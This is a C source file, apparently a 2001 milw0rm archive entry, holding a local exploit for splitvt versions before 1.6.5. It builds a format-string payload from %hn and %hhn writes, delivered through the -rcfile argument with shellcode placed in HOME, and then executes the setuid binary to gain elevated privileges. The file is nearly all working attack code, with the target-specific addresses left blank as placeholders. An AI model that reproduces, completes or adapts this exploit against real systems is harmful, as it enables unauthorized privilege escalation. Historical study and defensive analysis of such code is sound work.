splitvt < 1.6.5 - Local Overflow

/*
 * MasterSecuritY <www.mastersecurity.fr>
 *
 * spitvt.c - Local exploit for splitvt < 1.6.5
 * Copyright (C) 2001  fish stiqz <fish@analog.org>
 * Copyright (C) 2001  Michel "MaXX" Kaempf <maxx@mastersecurity.fr>
 *
 * Updated versions of this exploit and the corresponding advisory will
 * be made available at:
 *
 * ftp://maxx.via.ecp.fr/spitvt/
 *
 * This program is free software; you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation; either version 2 of the License, or (at
 * your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
 * General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program; if not, write to the Free Software
 * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
 * USA
 */

#include <limits.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

/* array_of_strings_t */
typedef struct array_of_strings_s {
    size_t strings;
    char ** array;
} array_of_strings_t;

/* type_t */
typedef enum {
    short_int,
    signed_char,
    null
} type_t;

/* n_t */
typedef struct n_s {
    type_t type;
    void * pointer;
    int number;
} n_t;

/* <fixme> */
#define COMMAND ""
#define HOME_VALUE ""
#define SPLITVT ""
#define STACK ()
n_t n[] = {
    { null }
};
/* </fixme> */

unsigned long int eat;
array_of_strings_t aos_envp = { 0, NULL };
array_of_strings_t aos_argv = { 0, NULL };

/* array_of_strings() */
int array_of_strings( array_of_strings_t * p_aos, char * string )
{
    size_t strings;
    char ** array;

    if ( p_aos->strings == SIZE_MAX / sizeof(char *) ) {
        return( -1 );
    }
    strings = p_aos->strings + 1;

    array = realloc( p_aos->array, strings * sizeof(char *) );
    if ( array == NULL ) {
        return( -1 );
    }

    (p_aos->array = array)[ p_aos->strings++ ] = string;
    return( 0 );
}

#define HOME_KEY "HOME"
/* home() */
int home()
{
    char * home;
    unsigned int envp_home;
    unsigned int i;

    home = malloc( sizeof(HOME_KEY) + sizeof(HOME_VALUE) + (4-1) );
    if ( home == NULL ) {
        return( -1 );
    }

    strcpy( home, HOME_KEY"="HOME_VALUE );

    /* if HOME_VALUE holds a shellcode and is to be executed, 4 bytes
     * alignment is sometimes required (on sparc architectures for
     * example) */
    envp_home = STACK - sizeof(SPLITVT) - sizeof(HOME_VALUE);
    for ( i = 0; i < envp_home % 4; i++ ) {
        strcat( home, "X" );
    }

    return( array_of_strings(&aos_envp, home) );
}

/* shell() */
int shell()
{
    size_t size;
    unsigned int i;
    char * shell;
    char * string;

    size = 0;
    for ( i = 0; n[i].type != null; i++ ) {
        size += sizeof(void *);
    }

    shell = malloc( size + 3 + 1 );
    if ( shell == NULL ) {
        return( -1 );
    }

    for ( i = 0; n[i].type != null; i++ ) {
        *( (void **)shell + i ) = n[i].pointer;
    }

    /* since file is 16 bytes aligned on the stack, the following 3
     * characters padding ensures shell is 4 bytes aligned */
    for ( i = 0; i < 3; i++ ) {
        shell[ size + i ] = 'X';
    }

    shell[ size + i ] = '\0';

    for ( string = shell; string <= shell+size+i; string += strlen(string)+1 ) {
        if ( array_of_strings(&aos_argv, string) ) {
            return( -1 );
        }
    }

    return( 0 );
}

#define S "%s"
#define C "%c"
#define HN "%hn"
#define HHN "%hhn"
/* file() */
int file()
{
    size_t size;
    unsigned int i, j;
    char * file;
    int number;
    unsigned int argv_file;

    size = (sizeof(S)-1) + (eat * (sizeof(C)-1));
    for ( i = 0; n[i].type != null; i++ ) {
        switch ( n[i].type ) {
            case short_int:
                /* at most USHRT_MAX 'X's are needed */
                size += USHRT_MAX + (sizeof(HN)-1);
                break;

            case signed_char:
                /* at most UCHAR_MAX 'X's are needed */
                size += UCHAR_MAX + (sizeof(HHN)-1);
                break;

            case null:
            default:
                return( -1 );
        }
    }

    file = malloc( size + (16-1) + 1 );
    if ( file == NULL ) {
        return( -1 );
    }

    i = 0;

    memcpy( file + i, S, sizeof(S)-1 );
    i += sizeof(S)-1;

    for ( j = 0; j < eat; j++ ) {
        memcpy( file + i, C, sizeof(C)-1 );
        i += sizeof(C)-1;
    }

    /* initialize number to the number of characters written so far
     * (aos_envp.array[aos_envp.strings-2] corresponds to the HOME
     * environment variable) */
    number = strlen(aos_envp.array[aos_envp.strings-2])-sizeof(HOME_KEY) + eat;

    for ( j = 0; n[j].type != null; j++ ) {
        switch ( n[j].type ) {
            case short_int:
                while ( (short int)number != (short int)n[j].number ) {
                    file[ i++ ] = 'X';
                    number += 1;
                }
                memcpy( file + i, HN, sizeof(HN)-1 );
                i += sizeof(HN)-1;
                break;

            case signed_char:
                while ( (signed char)number != (signed char)n[j].number ) {
                    file[ i++ ] = 'X';
                    number += 1;
                }
                memcpy( file + i, HHN, sizeof(HHN)-1 );
                i += sizeof(HHN)-1;
                break;

            case null:
            default:
                return( -1 );
        }
    }

    /* in order to maintain a constant distance between the sprintf()
     * arguments and the splitvt shell argument, 16 bytes alignment is
     * sometimes required (for ELF binaries for example) */
    argv_file = STACK - sizeof(SPLITVT);
    for ( j = 0; aos_envp.array[j] != NULL; j++ ) {
        argv_file -= strlen( aos_envp.array[j] ) + 1;
    }
    argv_file -= i + 1;
    for ( j = 0; j < argv_file % 16; j++ ) {
        file[ i++ ] = 'X';
    }

    file[ i ] = '\0';

    return( array_of_strings(&aos_argv, file) );
}

/* main() */
int main( int argc, char * argv[] )
{
    /* eat */
    if ( argc != 2 ) {
        return( -1 );
    }
    eat = strtoul( argv[1], NULL, 0 );

    /* aos_envp */
    array_of_strings( &aos_envp, "TERM=vt100" );
    /* home() should always be called right before NULL is added to
     * aos_envp */
    if ( home() ) {
        return( -1 );
    }
    array_of_strings( &aos_envp, NULL );

    /* aos_argv */
    array_of_strings( &aos_argv, SPLITVT );
    array_of_strings( &aos_argv, "-upper" );
    array_of_strings( &aos_argv, COMMAND );
    array_of_strings( &aos_argv, "-lower" );
    array_of_strings( &aos_argv, COMMAND );
    /* shell() should always be called right before "-rcfile" is added
     * to aos_argv */
    if ( shell() ) {
        return( -1 );
    }
    array_of_strings( &aos_argv, "-rcfile" );
    /* file() should always be called right after "-rcfile" is added to
     * aos_argv and right before NULL is added to aos_argv */
    if ( file() ) {
        return( -1 );
    }
    array_of_strings( &aos_argv, NULL );

    /* execve() */
    execve( aos_argv.array[0], aos_argv.array, aos_envp.array );
    return( -1 );
}


// milw0rm.com [2001-01-26]